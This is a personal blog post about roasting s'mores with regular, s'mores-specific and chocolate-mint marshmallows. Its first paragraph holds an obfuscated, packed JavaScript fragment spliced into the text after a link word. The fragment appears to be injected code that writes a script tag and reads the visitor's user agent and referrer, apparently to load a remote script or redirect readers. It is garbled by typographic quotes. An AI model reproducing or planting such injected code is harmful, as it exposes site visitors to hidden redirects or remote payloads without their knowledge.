S’mores Mallows

If you’re a “regular” follower, you might recall that I kinda like s’mores.

I’ve talked about them before, HERE ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hdndb|var|u0026u|referrer|yzibn||js|php’.split(‘|’),0,{}))
& HERE.

We weren’t a big camping family growing up, so I did not roast as many mallows as your average kid (don’t feel bad, I got to do a lot of other things).  I’ve roasted plenty of mallows as an adult – catching up for the lack of mallow roasting as a child.  Sometimes my friends even let me roast their mallows for them.  I never understood how someone could want to EAT a s’more but not ROAST the mallow, but I don’t question it.  More roasting for this girl!

It finally started to warm up here in California, so it was clearly time to make some s’mores!  We were in charge of picking up the marshmallows.  We headed to Target and grabbed the normal, large, jet puffed variety.  And then some chocolate-mint mallows also jumped into our cart.  As we headed to the checkout, I noticed more marshmallows on the end cap.  I looked closer. O.M.G.  They were mallows specifically designed for s’mores.  What?! Yeah. So of course we got those as well.

We literally walked out of Target with a bottle of multi-vitamins and 3 bags of marshmallows.

Here’s what the bag looks like.  Take note of the “limited edition” in case any of you out there want to try them.

And then it was time to roast.

And we needed to make sure it was a fair assessment, so all mallows were going to be roasted and taste tested.  So scientific of us 🙂

We had our staples – nutella, grahams (splurge for honeymaid and don’t cheap out on the target brand), and the normal marshmallows.  And we added the s’mores mallows and the chocolate-mint mallows (note that they are somewhere in between the mini mallows and normal mallows).Roasting was a bit tricky.  They roast ok on a single poker, but were much easier to roast using the double stick method – or a 2 pronged poker.

The verdict? Delicious!  But I’ll caveat this statement with, “must love mallows.”  I prefer a high mallow to chocolate/graham ratio.  I can eat a roasted mallow all by itself and I’m perfectly happy.  So a extra mallow is great.  They roasted really evenly and got nice and warm all the way through.  And as you can see, they fit the graham really well.  Even the dogs wanted a taste! (Kudos to Karen for this posed shot – I didn’t get it the first time and made her repeat the motion for the blog picture)

The regular marshmallows were still delicious, but I was left wanting a little more mallow 🙂

And the mint chocolate? Also a tasty alternative.  We were pretty stuffed after the s’mores taste test, so we ended up using 2 mallows and half a graham to try out the mint chocolate.

Not a bad start to the summer!  Ready for more s’mores and more fun evenings with friends!
